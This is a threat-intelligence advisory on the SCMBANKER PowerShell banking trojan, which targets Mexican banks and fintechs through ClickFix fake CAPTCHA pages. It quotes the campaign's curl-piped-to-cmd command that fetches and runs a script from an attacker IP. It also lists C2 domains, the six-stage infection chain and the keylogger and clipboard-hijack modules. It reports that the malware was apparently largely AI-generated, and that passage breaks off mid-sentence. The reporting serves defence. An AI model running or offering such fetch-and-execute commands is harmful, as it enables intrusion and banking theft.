SCMBANKER PowerShell Banking Trojan Targets Mexican Financial Sector via ClickFix Fake CAPTCHA Lures (REF6045) — Threadlinqs Intelligence
As of 2026-07-10, SCMBANKER PowerShell Banking Trojan Targets Mexican Financial Sector via ClickFix Fake CAPTCHA Lures (REF6045) is a high-severity malware threat attributed to REF6045 operator, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 35 indicators of compromise.
Threat ID: TL-2026-1175 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
Attribution: REF6045 operator · FINANCIAL
Elastic Security Labs tracked REF6045, an operator-assisted banking fraud campaign deploying the PowerShell-based SCMBANKER toolkit against Mexican banks, fintechs, payment processors, and crypto
REF6045 is an active, operator-assisted banking fraud operation tracked by Elastic Security Labs (researchers Jia Yu Chan and Salim Bitam), first observed with toolkit components dating to at least October 2025 and publicly disclosed 2026-07-08. Victims are lured to fake CAPTCHA verification pages styled as "Google Verificación Segura" that instruct them to paste and execute a command in the Windows Run dialog — the ClickFix social-engineering technique. The initial command (`cmd /c curl -k http://68.211.161.46/validation.txt | cmd.exe`) downloads a batch script that drives a six-stage execution chain: (1) launching Microsoft Edge in kiosk mode against fakeupdate.net to distract the victim with a fake Windows Update screen; (2) repeatedly relaunching with -Verb RunAs every 20 seconds to fatigue the victim into granting UAC admin consent, displaying the Spanish-language message "Se requieren permisos de administrador para actualizar su sistema..."; (3) confining the mouse cursor to a 1x1 pixel region via the Win32 ClipCursor API to prevent victim interference during installation; (4) using bitsadmin to pull the full PowerShell toolkit from an open directory to C:\Users\Public\; (5) establishing persistence via run.vbs (an HKCU Run key, three startup-folder copies, and an infection-timestamp marker id.txt); and (6) forcing a reboot via shutdown /r /t 02 to trigger the newly installed persistence.
The resulting SCMBANKER toolkit is a modular PowerShell-based banking trojan launched by run.vbs and comprising: cliente.ps1 (C2 beacon posting machine profile every 30 seconds), jujuzkt.ps1/jujuzkt2.ps1 (banking-session window-title monitoring and clipboard-based phishing redirection), mensaje1.ps1/mensaje.ps1/mensajeoff.ps1 (vishing dispatcher plus hard-lock and soft-lock fake bank-warning overlay windows), rotor1.ps1/screen2.ps1 (screenshot capture, ~42 screenshots per banking trigger over 5 minutes), rotor2.ps1/rotor.ps1 (process-name mutation wrappers), key.ps1 (Base64-obfuscated Win32 API keylogger with an unused Telegram exfiltration path, falling back to HTTP POST), clip.ps1/clip2.ps1 (CLABE and card-number clipboard hijackers using prefix/BIN matching to swap in attacker account numbers), avs.ps1/instaler.ps1/remoto.ps1 (silent deployment of the commercial Remote Utilities Host RAT, including registry-based callback configuration and UninstallString removal to resist removal), edifhjwe.ps1 (self-update mechanism that wipes and redeploys the toolkit while preserving state files), and correr.ps1 (arbitrary operator-issued PowerShell execution). cursor2.exe, a compiled AutoIt binary, replaces the system cursor with an invisible cursor to further obscure operator/victim interaction.
C2 infrastructure centers on negratomasa2026.online (and alternate gestionmontelavaria2026.online, plus IP-based fallback 185.242.246.169), exposing distinct endpoints for beaconing, banking alerts, screenshot exfiltration, keylog exfiltration, and remote-configuration text files controlling bank keyword lists, phishing redirect targets, vishing victim-IP mappings, and attacker CLABE/card numbers for clipboard substitution. ClickFix landing pages were hosted at ratonvaquero2026.online, monteviral2026.duckdns.org, and osogransd.online, with toolkit file staging on 68.211.161.46 and 216.250.112.100.
Elastic researchers assess the toolkit's source code was substantially AI-generated: consistent banner-comment scaffolding ("INTERVALOS DE TIEMPO", "DICCIONARIOS Y VARIABLES", "FUNCIONES", "INICIO", "LOOP PRINCIPAL"), clean function names paired with hand-shortened variables, instruction-like comments directly above corresponding code consistent with Copilot/Cursor-style assistant output, and self-documenting Base64 obfuscation (e.g., a literal comment identifying `user32.dll` immediately beside its Base64-encoded string). Profanity-laden comments cluster specifically in the mutation rotator and keylogger modules, suggesting the operator used adversarial ph
Weaknesses (CWE)
CWE-494, CWE-829, CWE-311
Target sectors: financial services, banking, fintech, payment processors, cryptocurrency, investment platforms, government administration, telecom
Target regions: mexico, Latin America
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 35 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1566.002, T1204.001, T1059.003, T1059.001, T1059.005, T1547.001, T1548.002, T1036.005, T1564.001, T1027